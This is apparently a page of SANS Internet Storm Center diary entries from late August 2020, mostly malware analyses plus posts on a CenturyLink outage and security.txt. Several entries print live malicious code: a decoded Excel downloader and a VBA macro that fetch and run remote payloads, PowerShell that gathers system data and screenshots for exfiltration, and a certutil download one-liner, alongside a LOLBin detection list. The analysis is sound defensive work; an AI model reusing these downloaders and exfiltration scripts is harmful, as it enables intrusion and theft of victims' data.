Diaries

Published: 2020-08-31

Finding The Original Maldoc

Xavier wrote about a "Malicious Excel Sheet with a NULL VT Score" and I showed how to extract the VBA code from the maldoc cleaned by AV.

How can one find back the original maldoc?

By using a unique identifier as search term.

In the cleaned maldoc, the PROJECT stream was still present. As I explained in previous diary entry, the VBA project is password protected. The password is stored as a salted SHA1, encoded, and set as the value of DPB:

This value of DPB is unique to the maldoc, and that is the identifier I used to search through VirusTotal's database.

I found three documents containing that ID:

  • 1191d5c1dd7f6ac38b8d72bee37415b3ff1c28a8f907971443ac3a36906e8bf5: the cleaned maldoc itself
  • 1edbb818ea75919bb70bd2496e789e89d26c94cdf65ab61ebb5f1403d45d323c: the original maldoc
  • a6b141c048ce6a034a60b687aa5de8a4cfe294ad535b2bc100dd80055b1f24c4.vir: another cleaned maldoc

 

The stream modules are intact in the original maldoc:

While the second cleaned AV has even more streams cleaned (all VBA project streams):

 

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

0 Comments

Published: 2020-08-30

CenturyLink Outage Causing Internet Wide Problems

Update From Centrylink at approx 15:00 UTC / 11:00 EDST:
The IP NOC with the assistance of the Operations Engineering team confirmed a routing issue to be preventing BGP sessions from establishing correctly. A configuration adjustment was deployed at a high level, and sessions began to re-establish with stability. As the change propagates through the affected devices, service affecting alarms continue to clear.

Due to the nature of this outage, it may be necessary to reset your services locally at your equipment, or manually reset your BGP session. If after that action has been performed a service issue prevails, please contact the CenturyLink Repair Center for troubleshooting assistance.

Early this morning (US East Coast time), CenturyLink started having problems with routes passing AS3356. This network is central in routing a large part of internet traffic, and the outage is still causing problems for many services like for example OpenDNS, Duo Security, Cloudflare, Imperva (a service SANS, and isc.sans.edu uses). 

At this point, there is no indication that this is an attack. This looks so far like a misconfiguration or maybe a hardware failure.

If a network like AS3356 has problems handling traffic, a typical response is to route traffic via a different network. As a customer of CenturyLink, you would disconnect from CenturyLink, and instead, advertise your IP address space via a different backup ISP. It looks like this failed for two reasons in many cases:

  1. AS3356 itself did not withdraw these routes once the customer disconnected. So the rest of the internet still continued to believe CenturyLink, and is sending traffic to them vs sending it to the backup ISP
  2. Which backup ISP? AS3356 used to belong to Level 3. Level 3 was purchased by CenturyLink. CenturyLink also merged with other ISPs/NSPs like for example Qwest. This is another example of how the Internet has long been much less diverse than it should be.

What can you do about this as an end-user? Not much. Wait for CenturyLink to find a network engineer who is fluent enough in BGP to fix this. Some customers of CenturyLink report estimated times to resolution quoted at 1 pm ET. But there is no public acknowledgment of this time. I have seen some traffic come back to ISC/Imperva. For ISC, we also have dshield.org which does not appear to be affected (different ISP setup). 

You may want to disable affected services like OpenDNS as they may make things worse. Google DNS appears to be working. You could also decide to not require 2FA if you rely on a service like Duo. But I will live that risk decision up to you. And attackers could take advantage of widespread disabling of Duo.

Also: the companies I named here are just some notable once I ran across as affected. There are likely more.

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS Technology Institute
Twitter|

1 Comments

Published: 2020-08-29

Malicious Excel Sheet with a NULL VT Score: More Info

The maldoc Xavier mentioned in diary entry "Malicious Excel Sheet with a NULL VT Score" is indeed corrupt, and that explains its low score on VT. I believe this maldoc has been cleaned by an anti-virus program: (incomplete) deletion of VBA modules.

If we take a look with oledump.py, we see some streams related to VBA, but the module streams are missing (they contain the compressed VBA code):

Stream PROJECT contains pure text like an INI file:

From the [Workspace] section, we can see that there are 3 module stream (ThisWorkbook, Sheet1 and Sheet2) open in the VBA IDE. These are missing in the ole file.

Remark also that the ID is a zero guid: this means that the VBA project is password protected:

FYI: I was not able to crack the password using JtR and the Rockyou password list.

If we take a look with oledir (by @decalage2), we see that some streams have been deleted:

The streams have been deleted: freed (unused) and the name of the stream overwritten by _DELETED_NAME_*. But the size of the streams is not zero: there is a chance that the sectors that contain the stream content are still present (that the content is not erased).

To check this, I search for string Attribut (a normal module stream contains compressed VBA code that contains the string Attribut in the initial bytes):

This string is indeed present, and even 3 times: exactly the same as the number of module streams we found mentioned in the PROJECT stream.

For such cases (ole files that contain VBA code that is not accessible through streams) I have option --raw in oledump. Option --raw allows you to read any file type (it doesn't get parsed like an ole file would) and then you can use option -v to search for compressed VBA code anywhere inside the file, like this:

This looks promising: this means that oledump.py found 3 instances of compressed VBA code, but that it was not able to decompress the VBA code without errors. As you might guess, oledump has another option to deal with this: --vbadecompresscorrupt.

Here is the result:

And finally, we see VBA code.

It is indeed malicious: running two commands, one PowerShell and one schtasks.

Please post a comment if you know which antivirus product cleans Office documents with malicious VBA code by deleting module streams and overwriting their stream name with _DELETED_NAME_*.

 

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

1 Comments

Published: 2020-08-28

Example of Malicious DLL Injected in PowerShell

For a while, PowerShell remains one of the favorite languages for attackers. Installed by default (and almost impossible to get rid of it), powerful, perfectly integrated with the core operating system. It's very easy to develop specific PowerShell functions that will provide interesting features for an attacker but, if written in PowerShell, they could easily ring a bell for the defenders (example: by using many suspicious API calls). Another technique to expand the language with more functions is just to load a DLL! I found a sample that exfiltrates data from the victim's computer.

First, basic information about the victim's computer is collected by running classic command-line tools:

function F5rfcOkoteobtjw()
{
    if ((((Get-WmiObject Win32_ComputerSystem).partofdomain) -eq $False ) -or ( -not $Env:USERDNSDOMAIN))
    {
        $Z5oXjQKQ = "DOMAIN: NO`n`n"
    } else { $Z5oXjQKQ = "DOMAIN: YES`n`n"}
    $Z5oXjQKQ += "SYSTEMINFO:`n`n" + ((systeminfo) -join "`n")
    $Z5oXjQKQ += "`n`nIPCONFIG:`n`n" + ((ipconfig /all) -join "`n")
    $Z5oXjQKQ += "`n`nNETSTAT:`n`n" + ((netstat -f) -join "`n")
    $Z5oXjQKQ += "`n`nNETVIEW:`n`n" + ((net view) -join "`n")
    $Z5oXjQKQ += "`n`nTASKLIST:`n`n" + ((tasklist) -join "`n")
    $Z5oXjQKQ += "`n`nWHOAMI:`n`n" + ((whoami) -join "`n")
    $Z5oXjQKQ += "`n`nUSERNAME:`n`n" + ((net user $env:username /domain) -join "`n")
    $Z5oXjQKQ += "`n`nDOMAIN ADMINS:`n`n" + ((net group "domain admins" /domain ) -join "`n")
    $Z5oXjQKQ += "`n`nDESKTOP:`n`n" + (Get-ChildItem ([environment]::getfolderpath("desktop")) | Out-String)
    $Z5oXjQKQ += "`n`nAV:`n`n" + (Get-WmiObject -Namespace "root\SecurityCenter2" -Query "SELECT * FROM AntiVirusProduct").displayName
    $EyUrI0YTDc = [System.Text.Encoding]::UTF8.GetBytes($Z5oXjQKQ)
    r8LHrhI 0 $EyUrI0YTDc
}

Then, the Outlook profile is extracted from the registry:

function X2k2cdDAGo()
{
    $Z5oXjQKQ = ""
    $Z5oXjQKQ += UIe8sB6zH "hkcu:\Software\Microsoft\Office\16.0\Outlook\Profiles\*\9375CFF0413111d3B88A00104B2A6676\*"
    $Z5oXjQKQ += UIe8sB6zH "hkcu:\Software\Microsoft\Office\15.0\Outlook\Profiles\*\9375CFF0413111d3B88A00104B2A6676\*"
    $Z5oXjQKQ += UIe8sB6zH "hkcu:\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\*"
    if ($Z5oXjQKQ -ne "")
    {
        $EyUrI0YTDc = [System.Text.Encoding]::UTF8.GetBytes($Z5oXjQKQ)
        r8LHrhI 1 $EyUrI0YTDc
    }
}

And finally, a screenshot is generated:

function JouSArFQ6kv()
{
    Add-Type -Assembly System.Windows.Forms
    $z7JRFcFKpF = [Windows.Forms.SystemInformation]
    $TEFaSIoRepdsHy = $z7JRFcFKpF::VirtualScreen
    $F9wFd3ghH8VbFJj7 = New-Object Drawing.Bitmap $TEFaSIoRepdsHy.Width, $TEFaSIoRepdsHy.Height
    $Ox71ToqVRRQwhg9a = [Drawing.Graphics]::FromImage($F9wFd3ghH8VbFJj7)
    $Ox71ToqVRRQwhg9a.CopyFromScreen($TEFaSIoRepdsHy.Location, [Drawing.Point]::Empty, $TEFaSIoRepdsHy.Size)
    $Ox71ToqVRRQwhg9a.Dispose()
    $ntxzp2n = New-Object System.IO.MemoryStream
    $ZccBcQz3g54=40
    $Cq9RWAEjwyTCLRoderParams = New-Object System.Drawing.Imaging.EncoderParameters
    $Cq9RWAEjwyTCLRoderParams.Param[0] = New-Object Drawing.Imaging.EncoderParameter ([System.Drawing.Imaging.Encoder]::Quality, $ZccBcQz3g54)
    $dPyJ9JM = [Drawing.Imaging.ImageCodecInfo]::GetImageEncoders() | Where-Object { $_.FormatDescription -eq "JPEG" }
    $F9wFd3ghH8VbFJj7.save($ntxzp2n, $dPyJ9JM, $Cq9RWAEjwyTCLRoderParams)
    $F9wFd3ghH8VbFJj7.Dispose()
    $EyUrI0YTDc = [convert]::ToBase64String($ntxzp2n.ToArray())
    $EyUrI0YTDc = [System.Text.Encoding]::ASCII.GetBytes($EyUrI0YTDc)
    r8LHrhI 2 $EyUrI0YTDc
}

But this is not the most interesting part of the sample. Let's have a look at specific functions provided by a malicious DLL. The DLL is gzipped and Base64-encoded:

$UwDI0aRabjIk3s = New-Object IO.Compression.GzipStream([IO.MemoryStream][Convert]::FromBase64String("
    H4sIAAAAAAACC+06aXgc
    ...stuff removed...
    j8+/wt8EsGVACwAAA=="), [IO.Compression.CompressionMode]::Decompress)

Once decoded, memory is allocated, filled with the DLL code and loaded into the current process:

$tdBxFBPoF9H = New-Object byte[](20480)
$UwDI0aRabjIk3s.Read($tdBxFBPoF9H, 0, 20480) | Out-Null
[System.Reflection.Assembly]::Load($tdBxFBPoF9H) | Out-Null

The loaded DLL functions are called from multiple locations in the PowerShell script:

[lu1Ghpi.lu1Ghpi]::LCT7Zf([Ref].Assembly)
[lu1Ghpi.lu1Ghpi]::G6ftSnK0ugKvb2d(0, 0, $False)
[lu1Ghpi.lu1Ghpi]::dIIxO5Q5DK($IjhCozkPh)

Let's load the DLL into Ghidra and we can see all the function names in the symbols:

Let's have a look at the function G6ftSnK0ugKvb2d() which is used to generate the URI to communicate with the C2 server to exfiltrate data:

$du3JoqQ6OQO4 = New-Object System.Net.WebClient
$pZkGmBMzTr = "https://$PsEGZJ3A39n/" + [lu1Ghpi.lu1Ghpi]::G6ftSnK0ugKvb2d(0, 0, $False)
$ZcHP6xyD = $du3JoqQ6OQO4.DownloadData($pZkGmBMzTr)

The function is quite complex to understand in Ghidra:

This one is not very easy to reverse and, often, we don't have time for this. How to understand the purpose of the function? Let's debug the PowerShell code! 

Once the script loaded into PowerShell ISE, you add a breakpoint on an interesting line, by example, the one calling the function seen above and you execute the script:

You can now decode the complete URL used to exfiltrate the data:

hxxps://173-232-146-217[.]sslip[.]io/ss1ocok/xi5/ovmcnml2/24y/h0am5ngt1141zuo454unbce/b/vd/i/irani0ceia.jpg

And, because we loaded the DLL into our PowerShell session, we can directly call the function and see what is returns:

[DBG]: PS C:\Users\REM\Desktop>> [lu1Ghpi.lu1Ghpi]::G6ftSnK0ugKvb2d(0, 0, $False)
ga2wu/3/ptzblbvljd0r/0ureglfn/5omzbspltwim1q25hqy2/hhz2/ghbz4pbq.jpg
[DBG]: PS C:\Users\REM\Desktop>> [lu1Ghpi.lu1Ghpi]::G6ftSnK0ugKvb2d(0, 0, $False)
a/sfgad4hpnogbgm/q1yhxyi4bkff/fk1/sijz/kg2skektcxmrcuyv1ei/vgfoy.jpg
[DBG]: PS C:\Users\REM\Desktop>> [lu1Ghpi.lu1Ghpi]::G6ftSnK0ugKvb2d(0, 0, $False)
a4kqsy/oe/mq0q/3/gupw3qx4pfih/3euubzgjvfqoj0/hjow/bqr0lvq/meos3mda.jpg

Conclusion: You don't always need to spend a lot of time to reverse a DLL, just load it in a sandbox and call the functions directly from PowerShell. Another approach would be to attach the PowerShell to a debugger but, here again, it will more time-consuming.

The original script is available on VT with a nice score of 3/57 (SHA256:863b7ad4a0b8fb0fff6c60fd8fa41f1dee8632bc9423f88354465e29a0674136)[1]. If you're interested in the DLL, I uploaded it on MalwareBazaar[2].

[1] https://www.virustotal.com/gui/file/863b7ad4a0b8fb0fff6c60fd8fa41f1dee8632bc9423f88354465e29a0674136/detection
[2] https://bazaar.abuse.ch/sample/5eb0794df0be82e3aee984a24dd0197d9d474703d9b4a1a00d8affc99a1a10b6/

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

0 Comments

Published: 2020-08-27

Security.txt - one small file for an admin, one giant help to a security researcher

During the last few months, I’ve noticed a significant increase in the number of vulnerability reports for domains registered to some of our customers. I would guess that this increase probably stems from more time being devoted by bug bounty hunters and security researchers to finding vulnerabilities due to their Covid-19 related self-isolation. Whatever the cause is however, the increased number of reports is probably felt by many organizations around the world.

If you’ve ever found a vulnerability on a website, which wasn’t operated by you or your organization, chances are you’ve had a bit of a difficult time finding the right person to report the vulnerability to. If you lack this experience, just try to imagine how easy (or difficult) it might be to get in touch with the responsible department or person in your company if someone were to find a vulnerability on the website of your organization. Identifying the right contact for domains registered by companies, which run their own CSIRT or PSIRT, is usually quite straightforward, but for the rest of them it can be quite a headache.

If you think this might be the case for websites/domains you are responsible for as well, one way, in which you might make it much easier for third parties to report vulnerabilities to you (or to the relevant department your organization), would be to publish the relevant contact according to the not-yet-RFC called "A File Format to Aid in Security Vulnerability Disclosure"[1].

This draft standard covers the creation of a file called "security.txt" in the /.well-known/ path on a web server, or in its root, which contains information relevant to the security of the server – most notably information about a contact, to which vulnerabilities may be reported. Bug bounty hunters and other security specialists tend to look for this file any time they find something worth reporting as the proposed standard is well known in the community since it has been with us for more than a couple of years now[2].

The draft covers much more than just publishing contact information so if you haven’t read it yet, I recommend that you take a look. But if you find yourself with just a couple of minutes to spare today and would like to make the life of anyone who might wish to report a vulnerability to you a lot easier, consider creating security.txt file in the /.well-known/ path or next to your robots.txt file. Even if you put in it just the relevant information about a contact where vulnerabilities and other security issues may be reported, it may help someone trying to do the right thing immensely.

To make this a bit easier, here is an example of the formats for contact information taken from the draft, on which you may base your first security.txt file.

Contact: mailto:security@example.com
Contact: mailto:security%2Buri%2Bencoded@example.com
Contact: tel:+1-201-555-0123
Contact: https://example.com/security-contact.html

 

[1] https://datatracker.ietf.org/doc/draft-foudil-securitytxt/?include_text=1
[2] https://isc.sans.edu/podcastdetail.html?id=5674

-----------
Jan Kopriva
@jk0pr
Alef Nula

0 Comments

Published: 2020-08-26

Malicious Excel Sheet with a NULL VT Score

Just a quick diary today to demonstrate, once again, that relying only on a classic antivirus solution is not sufficient in 2020. I found a sample that just has a very nice score of 0/57 on VT. Yes, according to all AV's the file is safe. Really? If it matched one of my hunting rules, there is for sure something suspicious inside. Let's have a look at it.

The file has been uploaded yesterday on VT (SHA256:1191d5c1dd7f6ac38b8d72bee37415b3ff1c28a8f907971443ac3a36906e8bf5)[1]. It's a classic Excel sheet:

When you try to enable the macro, you see this:

Indeed, the file does not content a classic VBA macro:

$ docker run -it --rm -v $(pwd):/malware rootshell/dssuite oledump.py 1191d5c1dd7f6ac38b8d72bee37415b3ff1c28a8f907971443ac3a36906e8bf5.vir
  1:       107 '\x01CompObj'
  2:       260 '\x05DocumentSummaryInformation'
  3:       200 '\x05SummaryInformation'
  4:     28779 'Workbook'
  5:       558 '_VBA_PROJECT_CUR/PROJECT'
  6:        83 '_VBA_PROJECT_CUR/PROJECTwm'

But if you search for interesting Base64 chunks (that's the reason why my hunting rule fired):

$ docker run -it --rm -v $(pwd):/malware rootshell/dssuite base64dump.py -n 500 1191d5c1dd7f6ac38b8d72bee37415b3ff1c28a8f907971443ac3a36906e8bf5.xls
ID  Size    Encoded          Decoded          MD5 decoded
--  ----    -------          -------          -----------
 1:    2556 SE9NRT0iJXB1Ymxp HOME="%public%\L f1cb0ede52bef36084cd08eb635b4c3c

Here is a dump of the decoded Base64 chunk:

HOME="%public%\Libraries\"
SERVER="http://windowsupdate.me/update-index.aspx?req=__\"
Dwn="powershell ""&{$wc=(new-object System.Net.WebClient);$wc.UseDefaultCredentials=$true;$wc.Headers.add('Accept','*/*');$wc.Headers.add('User-Agent','Microsoft BITS/7.7');while(1){try{$r=Get-Random;$wc.DownloadFile('"&SERVER&"-_&m=d','"&HOME&"dn\'+$r+'.-_');Set-Content -Path ('"&HOME&"dn\'+$r+'.-_') -Value ([System.Convert]::FromBase64String((Get-Content -Path ('"&HOME&"dn\'+$r+'.-_')))) -Encoding Byte;$cd=$wc.ResponseHeaders['Content-Disposition'];Rename-Item -path ('"&HOME&"dn\'+$r+'.-_') -newname ($cd.Substring($cd.IndexOf('filename=')+9))}catch{break}}}"""
CreateObject("WScript.Shell").Run Replace(Dwn,"-_","dwn"),0
DownloadExecute="powershell ""&{$wc=(new-object System.Net.WebClient);$wc.UseDefaultCredentials=$true;$wc.Headers.add('Accept','*/*');$wc.Headers.add('User-Agent','Microsoft BITS/7.7');$r=Get-Random;$wc.DownloadFile('http://windowsupdate.me/update-index.aspx?req=__\-_&m=d','c:\users\public\libraries\dn\'+$r+'.-_');Set-Content -Path ('"&HOME&"dn\'+$r+'.-_') -Value ([System.Convert]::FromBase64String((Get-Content -Path ('"&HOME&"dn\'+$r+'.-_')))) -Encoding Byte;Invoke-Expression ('"&HOME&"dn\'+$r+'.-_ >"&HOME&"up\'+$r+'-_');$cd=$wc.ResponseHeaders['Content-Disposition'];Rename-Item -path ('"&HOME&"up\'+$r+'-_') -newname ($cd.Substring(($cd.IndexOf('filename=')+9),($cd.Length-25))+'.bat.txt');Get-ChildItem "&HOME&"up\ | ForEach-Object {if((Get-Item ($_.FullName)).length -gt 0){[System.Convert]::ToBase64String(([System.IO.File]::ReadAllBytes($_.FullName))) | Out-File $_.FullName;$wc.UploadFile('"&SERVER&"upl&m=u',$_.FullName);waitfor haha /T 3};Remove-Item $_.FullName};Remove-Item ('"&HOME&"dn\'+$r+'.-_')}"""
CreateObject("WScript.Shell").Run Replace(DownloadExecute,"-_","bat"),0
komc="powershell -exec Bypass -File "&HOME&"komisova.ps1"
CreateObject("WScript.Shell").Run komc,0

This is a classic downloader that fetches a payload from hxxp://windowsupdate[.]me. So, be very careful!

[1] https://www.virustotal.com/gui/file/1191d5c1dd7f6ac38b8d72bee37415b3ff1c28a8f907971443ac3a36906e8bf5/detection

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

2 Comments

Published: 2020-08-25

Keep An Eye on LOLBins

Don't misread, I won't talk about "lolcats" today but "LOLBins" or "Living Off The Land Binaries". All operating systems provide a rich toolbox to achieve multiple day-to-day tasks like maintenance of the certificates, installation of patches and applications, management of files, and many more. Those tools are installed by default and available to all users without specific access rights (most of the time). Also very important, they are signed by the operating system so they are usually considered safe by default. 

The problem is the following: These tools are very powerful and provide interesting features for attackers. They are used for malicious purposes. Why reinvent the wheel if an attacker has access to a tool to achieve a specific task? Let's have a look at some tools available in every Microsoft Windows operating system. If you're using AppLocker, they are chances that you're allowing Microsoft signed binaries in your policy. Let's review some example:

certutil.exe is a tool used to work with certificates (as the name says) but do you know it can also be used as a command-line browser to download some content from an URL:

C:\Temp> certutil.exe -urlcache -split -f "https://badsite.com/payload.exe" iambad.exe

It can also be used to quickly decode a Base64-encoded payload:

C:\Temp> certutil -decode payload.txt payload.exe

I also mentioned several times in other diaries other looks like msbuild.exe, csc.exe, or jsc.exe that are provided by the .NET Framework[1]. They are useful to compile code on the fly or to spawn other processes.

Even simple commands like ping.exe can be used in alternative ways. By example to implement a pause in a script:

C:\Temp> ping -n 5 127.0.0.1

Ping will send 5 ICMP request packets to the loopback interface, one per second. So, we introduce a pause of 5 seconds.

They are plenty of tools that could be potentially dangerous if invoked from an abnormal process (like word.exe or powershell.exe) or by a regular user. A nice list has been compiled and made available online: The LOLBAS project[2] ("Living Off The Land Binaries and Scripts (and also Libraries).

My advice is to track the usage of those tools via Sysmon and Powershell. Here is an example of a quick script to extract interesting Sysmon events: (credits to leoloobeek[3]):

$lolbins = @("Atbroker.exe","Bash.exe","Bitsadmin.exe","Certutil.exe","Cmdkey.exe","Cmstp.exe","Control.exe","Csc.exe","Dfsvc.exe","Diskshadow.exe","Dnscmd.exe","Esentutl.exe","Eventvwr.exe","Expand.exe","Extexport.exe","Extrac32.exe","Findstr.exe","Forfiles.exe","Ftp.exe","Gpscript.exe","Hh.exe","Ie4uinit.exe","Ieexec.exe","Infdefaultinstall.exe","Installutil.exe","Makecab.exe","Mavinject.exe","Microsoft.Workflow.Compiler.exe","Mmc.exe","Msbuild.exe","Msconfig.exe","Msdt.exe","Mshta.exe","Msiexec.exe","Odbcconf.exe","Pcalua.exe","Pcwrun.exe","Presentationhost.exe","Print.exe","Reg.exe","Regasm.exe","Regedit.exe","Register-cimprovider.exe","Regsvcs.exe","Regsvr32.exe","Replace.exe","Rpcping.exe","Rundll32.exe","Runonce.exe","Runscripthelper.exe","Sc.exe","Schtasks.exe","Scriptrunner.exe","SyncAppvPublishingServer.exe","Verclsid.exe","Wab.exe","Wmic.exe","Wscript.exe","Xwizard.exe","Appvlp.exe","Bginfo.exe","Cdb.exe","csi.exe","dnx.exe","Dxcap.exe","Mftrace.exe","Msdeploy.exe","msxsl.exe","rcsi.exe","Sqldumper.exe","Sqlps.exe","SQLToolsPS.exe","te.exe","Tracker.exe","vsjitdebugger.exe")

Foreach($lolbin in $lolbins)
{
    Get-WinEvent -FilterHashtable @{logname="Microsoft-Windows-Sysmon/Operational";id=1;} | ?{ $_.message -match "`r`nImage: .*$lolbin`r`n" } | %{
        [regex]$regex = "(?i)`r`n(?<image>Image: .*$lolbin)`r`n(?<args>CommandLine: .*)`r`n"
        $match = $regex.Match($_.message)

        $Out = New-Object PSObject
        $Out | Add-Member Noteproperty 'Binary' $lolbin
        $Out | Add-Member Noteproperty 'Image' $match.Groups["image"].value
        $Out | Add-Member Noteproperty 'Args' $match.Groups["args"].value
        $Out | fl
    }
}

It's easy to find existing Sysmon configurations that already take LOLBins into account[4]. 

Stay safe and keep an eye on those tools!

[1] https://isc.sans.edu/forums/diary/Malware+Samples+Compiling+Their+Next+Stage+on+Premise/25278
[2] https://lolbas-project.github.io
[3] https://gist.github.com/leoloobeek/a3a4d9af3bf7fb37b6d82a7a17e7176d
[4] https://raw.githubusercontent.com/ion-storm/sysmon-config/master/sysmonconfig-export.xml

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

2 Comments

Published: 2020-08-24

Tracking A Malware Campaign Through VT

During the weekend, I found several samples from the same VBA macro. The only difference between all the samples was the URL to fetch a malicious PE file. I have a specific YARA rule to search for embedded PowerShell strings and my rule fired several times with the same pattern and similar size. Here is the pattern:

31 78 77 64 58 52 30 65 53 35 6C 65 47 55 6E 4B  1xwdXR0eS5leGUnK
54 73 6F 54 6D 56 33 4C 55 39 69 61 6D 56 6A 64  TsoTmV3LU9iamVjd
43 41 74 59 32 39 74 49 46 4E 6F 5A 57 78 73 4C  CAtY29tIFNoZWxsL

YARA reacted on 'TmV3LU9iamVjd' which is the Base64-encoded string 'New-Object'.

I downloaded several files to analyze them:

Hash Score Timestamp Submission Country
2169c95c7587d4876449e0a57cb0f057d9df19e867a73e83e63aeaca1e2d4eae 8/58 2020-08-20 02:05:10 UTC e74f3978 US
c5f3874b7cd7ae726b12b7488d374972cb63b6e7dac73d71ededc20d80cf8318 9/57 2020-08-20 03:39:30 UTC e74f3978 US
d86cfc2c43a0599b23416cfc3be08e8c3d8d2b2b7b7b935b76d8ec6aa70e1705 8/58 2020-08-20 01:13:49 UTC e74f3978 US
174b27b020f930f5395cd993e92ebfc2795b1f3664265be7cea9d1405e870cd0 7/58 2020-08-19 19:30:20 UTC e74f3978 US
caf1e1da396743767f9e2a3c4b85780bc0146aeaae8bed18aef9d5c918fda439 9/57 2020-08-21 00:05:49 UTC e74f3978 US
b52f376b6b49a7c73e7a0befc821661bb9f19f5b4cf1561f277f7d347745a199 9/57 2020-08-20 22:57:00 UTC e74f3978 US
ef20a30463d0935ab34f119604ad5890c2d2ee0e4e400ed43c7faf4a8fd5b528 9/58 2020-08-20 22:43:53 UTC e74f3978 US
670a126982f22add8d6a8f662ec67691f64484d6d86fff76adae5804b7e8939c 8/56 2020-08-20 23:44:18 UTC e74f3978 US
b0f6c17244c2f8cce46425212f5cf9786fbd36727c34bf4d10d90d6a073a539e 9/57 2020-08-20 23:58:14 UTC e74f3978 US
d0abcbb7ec6caf6abc49dea519db003a7b82fe5520c2e74cf55f7f9bc4dd37cb 8/57 2020-08-20 22:45:54 UTC e74f3978 US
b8f308694b369a2e4d0a51966e6962eb0f2ac55e9cddcbbe726b0f867f9e6a66 8/58 2020-08-20 23:39:47 UTC e74f3978 US
670a126982f22add8d6a8f662ec67691f64484d6d86fff76adae5804b7e8939c 9/57 2020-08-22 03:56:41 UTC e74f3978 US
ef20a30463d0935ab34f119604ad5890c2d2ee0e4e400ed43c7faf4a8fd5b528 9/57 2020-08-22 03:31:37 UTC e74f3978 US
670a126982f22add8d6a8f662ec67691f64484d6d86fff76adae5804b7e8939c 9/57 2020-08-22 03:56:41 UTC e74f3978 US
d0abcbb7ec6caf6abc49dea519db003a7b82fe5520c2e74cf55f7f9bc4dd37cb 9/56 2020-08-22 03:54:50 UTC e74f3978 US
2169c95c7587d4876449e0a57cb0f057d9df19e867a73e83e63aeaca1e2d4eae 9/58 2020-08-22 03:45:04 UTC e74f3978 US
b8f308694b369a2e4d0a51966e6962eb0f2ac55e9cddcbbe726b0f867f9e6a66 8/56 2020-08-22 03:37:19 UTC e74f3978 US
566e46a36fbeadf23a43541d8fb19d5d1cd8f3e33b60abef221a1f6a1af0f1cb 9/57 2020-08-22 03:34:29 UTC e74f3978 US

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

As you can see, all samples were submitted from the US and from the same account. Their scores are also very close to each other.

All of them contain the same VBA macro and the only difference is the downloader link:

$ diff \
   c5f3874b7cd7ae726b12b7488d374972cb63b6e7dac73d71ededc20d80cf8318 \
   d0abcbb7ec6caf6abc49dea519db003a7b82fe5520c2e74cf55f7f9bc4dd37cb
10c10
< Loader"aHR0cDovLzE5OC4xMi42Ni4xMDQvbVZQMjlVQVl4bEZsU3JGLmV4ZQ=="
---
> Loader"aHR0cDovLzE5OC4xMi42Ni4xMDYvZmxvY3J5cHRlZC5leGU="

Here is the list of extracted URLs:

$ grep 'Loader"' * | awk -F '"' '{ print $2}' | while read L; do echo $L | base64 -d; echo ; done
hxxp://198[.]12[.]66[.]104/bOYzlVIPPDT3m7g[.]exe
hxxp://198[.]12[.]66[.]106/924ZJpzgdvpZuNt[.]exe
hxxp://198[.]12[.]66[.]106/TuSQk2FmRK1iLJI[.]exe
hxxp://198[.]12[.]66[.]104/jojocrypted[.]exe
hxxp://198[.]12[.]66[.]106/royalcrypted[.]exe
hxxp://brandotoday[.]com/Sample3[.]exe
hxxp://198[.]12[.]66[.]104/99crypted[.]exe
hxxp://198[.]12[.]66[.]104/mVP29UAYxlFlSrF[.]exe
hxxp://198[.]12[.]66[.]104/miccrypted[.]exe
hxxp://198[.]12[.]66[.]106/flocrypted[.]exe
hxxp://198[.]12[.]66[.]106/qlOZ1gn6tOo0tx7[.]exe
hxxp://198[.]12[.]66[.]106/vipcrypted[.]exe

The macro is a simple but effective one. It tries to download and execute the payload as 'putty.exe':

Private Sub Workbook_Open()
  Loader"aHR0cDovLzE5OC4xMi42Ni4xMDYvZmxvY3J5cHRlZC5leGU="
End Sub

Public Sub Loader(Link As String)
  CreateObject(AWqQ32PO095TRDFvcBBnMZAqQP87BXCVrwe_QARWE("57 53 63 72 69 70 74 2E 53 68 65 6C 6C")).Run   (Base64Decode("cG93ZXJzaGVsbC5leGUgLWV4ZWN1dGlvbnBvbGljeSBieXBhc3MgLVcgSGlkZGVuIC1jb21tYW5kIChuZXctb2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50KS5Eb3dubG9hZEZpbGUoJw==" & Link & "JywkZW52OlRlbXArJ1xwdXR0eS5leGUnKTsoTmV3LU9iamVjdCAtY29tIFNoZWxsLkFwcGxpY2F0aW9uKS5TaGVsbEV4ZWN1dGUoJGVudjpUZW1wKydccHV0dHkuZXhlJyk="))
End Sub

The decoded executed content is:

CreateObject(WScript.Shell)).Run( \
  powershell.exe -executionpolicy bypass -W Hidden -command (new-object System.Net.WebClient).DownloadFile(' \
  & Link & \
  ',$env:Temp+'\putty.exe');(New-Object -com Shell.Application).ShellExecute($env:Temp+'\putty.exe')

All downloads failed but I found a sample already available on VT[1]. It looks like an Agent Tesla.

The question is: who's behind the submission key and submitted so many times those samples? VT does not allow us to search all submissions from the same account (which could be a great feature for hunting purposes!).

Some possible scenario:

  • Developers of the macro who are testing their macro? I don't think because just the link changes across all the submissions
  • An organization that's facing many similar documents and they have an automatic submission to VT?
  • Another security researcher?

While writing this diary, I still found five new samples, it's still ongoing!

[1] https://www.virustotal.com/gui/file/27cd7db1194c765f280f35172aa5a27c4195a86d1bfc0985151ad43265a7620b/detection

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

0 Comments

Published: 2020-08-23

Small Challenge: A Simple Word Maldoc - Part 4

I diary entry "Small Challenge: A Simple Word Maldoc - Part 2", we used my tool numbers-to-string.py to convert and decode the numbers in malicious VBA macro code to a BAT command.

This required still some analysis of the VBA code: we had to find the XOR key.

In this diary entry, I will show you how to use my tool XORSearch when you don't know the key. XORSearch is a tool (I wrote it in C) that will search for a string you provide while trying out different encodings (XOR, ADD, ...).

As it is likely that the command will contain a URL, we let XORSearch search for string http:

And you can see that a URL is found for XOR-encoding with key 0x6F (111 decimal).

